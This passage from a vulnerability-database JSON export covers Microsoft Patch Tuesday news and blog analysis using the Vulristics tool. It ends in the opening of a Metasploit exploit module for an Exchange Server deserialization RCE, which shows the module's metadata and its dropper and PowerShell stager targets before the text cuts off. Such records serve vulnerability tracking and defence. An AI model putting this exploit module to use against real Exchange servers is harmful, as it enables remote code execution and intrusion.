([CVE-2021-26443](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26443>)), Remote Desktop Client ([CVE-2021-38666](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38666>)), and on-premises versions of Microsoft Dynamics 365 ([CVE-2021-42316](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42316>)).\n\nLastly, the update is rounded by patches for a number of privilege escalation vulnerabilities affecting NTFS ([CVE-2021-41367](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41367>), [CVE-2021-41370](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41370>), [CVE-2021-42283](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42283>)), Windows Kernel ([CVE-2021-42285](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42285>)), Visual Studio Code ([CVE-2021-42322](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42322>)), Windows Desktop Bridge ([CVE-2021-36957](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36957>)), and Windows Fast FAT File System Driver ([CVE-2021-41377](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41377>))\n\nTo [install](<https://support.microsoft.com/en-us/windows/get-the-latest-windows-update-7d20e88c-0568-483a-37bc-c3885390d212#WindowsVersion=Windows_11>) the latest security updates, Windows users can head to Start &gt; Settings &gt; Update &amp; Security &gt; Windows Update or by selecting Check for Windows updates.\n\n### Software Patches From Other Vendors\n\nIn addition to Microsoft, security updates have also been released by a number of other vendors to rectify several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html>)\n * [Android](<https://thehackernews.com/2021/11/google-warns-of-new-android-0-day.html>)\n * [Cisco](<https://thehackernews.com/2021/11/hardcoded-ssh-key-in-cisco-policy-suite.html>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * [Intel](<https://www.intel.com/content/www/us/en/security-center/default.html>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-November/thread.html>)\n * [Samba](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/09/samba-releases-security-updates>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=589496864>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp>), and\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T06:24:00", "type": "thn", "title": "Microsoft Issues Patches for Actively Exploited Excel, Exchange Server 0-Day Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26443", "CVE-2021-36957", "CVE-2021-3711", "CVE-2021-38631", "CVE-2021-38666", "CVE-2021-41367", "CVE-2021-41370", "CVE-2021-41371", "CVE-2021-41377", "CVE-2021-42279", "CVE-2021-42283", "CVE-2021-42285", "CVE-2021-42292", "CVE-2021-42298", "CVE-2021-42316", "CVE-2021-42321", "CVE-2021-42322", "CVE-2021-43208", "CVE-2021-43209"], "modified": "2021-11-10T06:24:06", "id": "THN:554E88E6A1CE9AFD04BF297E68311306", "href": "https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2022-01-19T21:27:02", "description": "Hello everyone! This episode will be about Microsoft Patch Tuesday for January 2022. Traditionally, I will use my open source Vulristics tool for analysis. This time I didn&#x27;t make any changes to how connectors work. The report generation worked correctly on the first try.\n\n`python3.8 vulristics.py --report-type \"ms_patch_tuesday\" --mspt-year 2022 --mspt-month \"January\" --rewrite-flag \"True\"`\n\nThe only thing I have improved is the detection of types of vulnerabilities and vulnerable products. &quot;Unknown Vulnerability Type&quot; was for two vulnerabilities, so I added the &quot;Elevation Of Privilege&quot; \u0438 &quot;Cross-Site Scripting&quot; spelling options. I added detections for 13 products and 19 Windows components. I also corrected the method for sorting vulnerabilities with the same Vulristics score. Previously, such vulnerabilities were sorted by CVE id, now they are sorted by vulnerability type and product. This allows you to see the clusters of similar vulnerabilities.\n\nEach time I rebuilt the report with the same command, but without recollecting the data:\n\n`python3.8 vulristics.py --report-type \"ms_patch_tuesday\" --mspt-year 2022 --mspt-month \"January\" --rewrite-flag \"False\"`\n\nThe full report is available here:\n\n[ms_patch_tuesday_january2022_report_with_comments_ext_img.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_january2022_report_with_comments_ext_img.html>)\n\nlet&#x27;s now look at the report. There are 97 vulnerabilities in total. \n\nIf we only look at CVSS:\n\n * Critical: 6\n * High: 63\n * Medium: 28\n * Low: 0\n\nBut according to my Vulrisitcs Vulnerability Score, everything is not so critical:\n\n * Urgent: 0\n * Critical: 1\n * High: 34\n * Medium: 62\n * Low: 0\n\nThe only critical vulnerability became so much after the publication of Patch Tuesday. **Elevation of Privilege** - Windows Win32k (CVE-2022-21882). A local, authenticated attacker could gain elevated local system or administrator privileges through a vulnerability in the Win32k.sys driver. Exploitation in the wild is mentioned at Microsoft. None of the Vulnerability Management vendors mentioned this vulnerability in their reviews. \n\nNow let&#x27;s see the High vulnerabilities.\n\n**Remote Code Execution** - HTTP Protocol Stack (CVE-2022-21907). This vulnerability is highlighted by all VM vendors, except for some reason Rapid7. To exploit this vulnerability an unauthenticated attacker could send a specially crafted packet to a vulnerable server utilizing the HTTP Protocol Stack (http.sys) to process packets. No user interaction, no privileges required. Microsoft warns that this flaw is considered wormable and has a flag \u201cExploitation More Likely\u201d. According to the advisory, Windows Server 2019 and Windows 10 version 1809 do not have the HTTP Trailer Support feature enabled by default, however this mitigation does not apply to other affected versions of Windows. While this is definitely more server-centric vulnerability, remember that Windows clients can also run http.sys, so all affected versions are affected by this bug.\n\n**Remote Code Execution** - Remote Procedure Call Runtime (CVE-2022-21922). Microsoft Remote Procedure Call (RPC) defines a powerful technology for creating distributed client/server programs. The RPC run-time stubs and libraries manage most of the processes relating to network protocols and communication. The authenticated attacker with non-admin credentials could take advantage of this vulnerability to execute malicious code through the RPC runtime. It looks like an interesting vulnerability for lateral movement in infrastructure. But for some reason, VM vendors ignored this vulnerability.\n\n**Remote Code Execution** - Microsoft Exchange (CVE-2022-21969, CVE-2022-21846 and CVE-2022-21855). 3 vulnerabilities with the same severity level. Exchange vulnerabilities are always interesting because Exchange servers are usually accessible from the Internet. But this time, these vulnerabilities are less critical. They cannot be exploited directly over the public internet (attackers need to be \u201cadjacent\u201d to the target system in terms of network topology).\n\n**Remote Code Execution** - Windows Remote Desktop Client (CVE-2022-21850, CVE-2022-21851) and **Remote Code Execution** - Windows Remote Desktop Protocol (CVE-2022-21893). For all CVEs, an attacker would need to convince a user on an affected version of the Remote Desktop Client to connect to a malicious RDP server. \n\n**Remote Code Execution** - Windows IKE Extension (CVE-2022-21849). Internet Key Exchange is the protocol used to set up a security association (SA) in the IPsec protocol suite. While at this time the details of this vulnerability are limited, a remote attacker could trigger multiple vulnerabilities when the IPSec service is running on the Windows system without being authenticated. \n\nI would also like to draw attention to these vulnerabilities:\n\n**Remote Code Execution** - Microsoft SharePoint (CVE-2022-21837). An attacker can use this vulnerability to gain access to the domain and could perform remote code execution on the SharePoint server to elevate themselves to SharePoint admin.\n\n**Remote Code Execution** - Microsoft Office (CVE-2022-21840) and **Remote Code Execution** - Microsoft Word (CVE-2022-21842). Exploitation would require social engineering to entice a victim to open an attachment or visit a malicious website \u2013 thankfully the Windows preview pane is not a vector for this attack.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-16T20:17:20", "type": "avleonov", "title": "Microsoft Patch Tuesday January 2022", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21837", "CVE-2022-21840", "CVE-2022-21842", "CVE-2022-21846", "CVE-2022-21849", "CVE-2022-21850", "CVE-2022-21851", "CVE-2022-21855", "CVE-2022-21882", "CVE-2022-21893", "CVE-2022-21907", "CVE-2022-21922", "CVE-2022-21969"], "modified": "2022-01-16T20:17:20", "id": "AVLEONOV:D630CE92574B03FCC2E79DCA5007AAFC", "href": "https://avleonov.com/2022/01/16/microsoft-patch-tuesday-january-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-30T22:36:54", "description": "Hello everyone! In this episode I want to highlight the latest changes in my [Vulristics](<https://github.com/leonov-av/vulristics>) project. For those who don&#x27;t know, this is a utility for prioritizing CVE vulnerabilities based on data from various sources.. Currently Microsoft, NVD, Vulners, AttackerKB.\n\n## Command Line Interface\n\nI started working on the CLI for Vulristics. Of course, it is not normal to edit scripts every time to release a report.\n\n### CVE lists\n\nIf you have a list of CVEs that you want to analyze, you can run Vulristics this way\n \n \n python3.8 vulristics.py --report-type \"cve_list\" --cve-project-name \"New Project\" --cve-list-path \"analyze_cve_list.txt\" --cve-data-sources \"ms,nvd,vulners,attackerkb\" --rewrite-flag \"True\"\n\nIn **analyze_cve_list.txt** I have one CVE\n \n \n CVE-2021-42284\n\nThe output:\n \n \n Reading existing Patch Tuesday profile...\n Exclude CVEs: 0\n No specified products to analyze set in profile, reporting everything\n All CVEs: 1\n Counting CVE scores...\n Collecting MS CVE data...\n Collecting NVD CVE data...\n Collecting AttackerKB CVE data...\n Collecting Vulners CVE data...\n Counting CVE scores...\n Making vulnerability reports for each reports config...\n Report config: with_comments_ext_img\n Report generated: reports/new_project_report_with_comments_ext_img.html\n\nAnd in the **reports/new_project_report_with_comments_ext_img.html** file we can see a block for this CVE\n\n\n\nI can add a file with comments as well. This can be useful if you are analyzing scan results for multiple hosts and you have such data:\n \n \n Vulnerability Scanner|CVE-2021-42284 - detected on testhost1.corporation.com\n\nYou add a key `--cve-comments-path \"analyze_cve_comments.txt\"`\n \n \n python3.8 vulristics.py --report-type \"cve_list\" --cve-project-name \"New Project\" --cve-list-path \"analyze_cve_list.txt\" --cve-comments-path \"analyze_cve_comments.txt\" --cve-data-sources \"ms,nvd,vulners,attackerkb\" --rewrite-flag \"True\"\n\nAnd you see this comment under the vulnerability block. Quite convenient.\n\n\n\n### Microsoft Patch Truesdays\n\nYou can also make a Microsoft Patch Tuesday report simply by \n \n \n python3.8 vulristics.py --report-type \"ms_patch_tuesday\" --mspt-year 2021 --mspt-month \"November\" --rewrite-flag \"True\"\n\nAnd get a **reports/ms_patch_tuesday_november2021_report_with_comments_ext_img.html**\n\n\n\nBut before discussing the November Patch Tuesday report, of course if someone is still interested in it in the last day of November, I want to talk about the product and vulnerability type detections. \n\n## Improved Product &amp; Vuln. Type Detection\n\nI heavily reworked the part about product and vulnerability type detection. I have simplified and unified the connectors for the sources. Sources now provide text strings for detection. Detection occurs at the time of generation of the report, through the analysis of all available descriptions of vulnerabilities.\n\nAll product detection rules are in **data/classification/products.json**\n\nYou can also manage the priority of software detection. In simple terms, the word &quot;Windows&quot; can indicate that the vulnerability is in the Windows kernel. But only if nothing more specific and rare was detected. For example &quot;Skype for Windows&quot;. We can achieve this by setting _detection_priority = -1_ for Windows kernel.\n\n\n\nThe strings for Vulnerability Type and Product are now highlighted in the vulnerability description with blue and orange.\n\n## Microsoft Patch Tuesday November 2021\n\nJust a few words. It was a calm Patch Tuesday. There are 55 vulnerabilities in total. One Urgent level and one Critical level. \n\n**Security Feature Bypass** - Microsoft Excel ([CVE-2021-42292](<https://vulners.com/cve/CVE-2021-42292>))\n\n\n\nit was featured as an Urgent because of exploitation in the wild. And besides, because of a Github exloit on Vulners. However, this is false positive. This is not an exploit, but a detection rule. This happens.\n\n**Remote Code Execution** - Microsoft Exchange ([CVE-2021-42321](<https://vulners.com/cve/CVE-2021-42321>)) - Critical [718]\n\n\n\n&quot;This is an actively exploited vulnerability that affects Microsoft Exchange Server 2019 and Microsoft Exchange Server 2016. This is a post-authentication vulnerability that allows code execution.&quot;\n\nFor those interested, there is a link to [the entire report](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_november2021_report_with_comments_ext_img.html>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-30T20:30:48", "type": "avleonov", "title": "Vulristics Command Line Interface, improved Product & Vuln. Type Detections and Microsoft Patch Tuesday November 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42284", "CVE-2021-42292", "CVE-2021-42321"], "modified": "2021-11-30T20:30:48", "id": "AVLEONOV:C2458CFFC4493B2CEDB0D34243DEBE3F", "href": "https://avleonov.com/2021/11/30/vulristics-command-line-interface-improved-product-vuln-type-detections-and-microsoft-patch-tuesday-november-2021/", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}}], "metasploit": [{"lastseen": "2022-10-30T22:45:40", "description": "This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.\n", "cvss3": {}, "published": "2022-08-09T17:32:09", "type": "metasploit", "title": "Microsoft Exchange Server ChainedSerializationBinder RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-42321", "CVE-2022-23277"], "modified": "2022-08-17T21:36:31", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_CHAINEDSERIALIZATIONBINDER_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_chainedserializationbinder_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'nokogiri'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange\n include Msf::Exploit::Deprecated\n moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',\n 'Description' => %q{\n This module exploits vulnerabilities within the ChainedSerializationBinder as used in\n Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and\n Exchange Server 2016 CU22 all prior to Mar22SU.\n\n Note that authentication is required to exploit these vulnerabilities.\n },\n 'Author' => [\n 'pwnforsp', # Original Bug Discovery\n 'zcgonvh', # Of 360 noah lab, Original Bug Discovery\n 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild\n 'Microsoft Security Response Center', # Discovery of exploitation in the wild\n 'peterjson', # Writeup\n 'testanull', # PoC Exploit\n 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D\n 'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains\n 'Markus Wulftange' # CVE-2022-23277 research\n ],\n 'References' => [\n # CVE-2021-42321 references\n ['CVE', '2021-42321'],\n ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],\n ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],\n ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],\n ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],\n ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],\n # CVE-2022-23277 references\n ['CVE', '2022-23277'],\n ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],\n ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']\n ],\n 'DisclosureDate' => '2021-12-09',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n }\n ]\n ],\n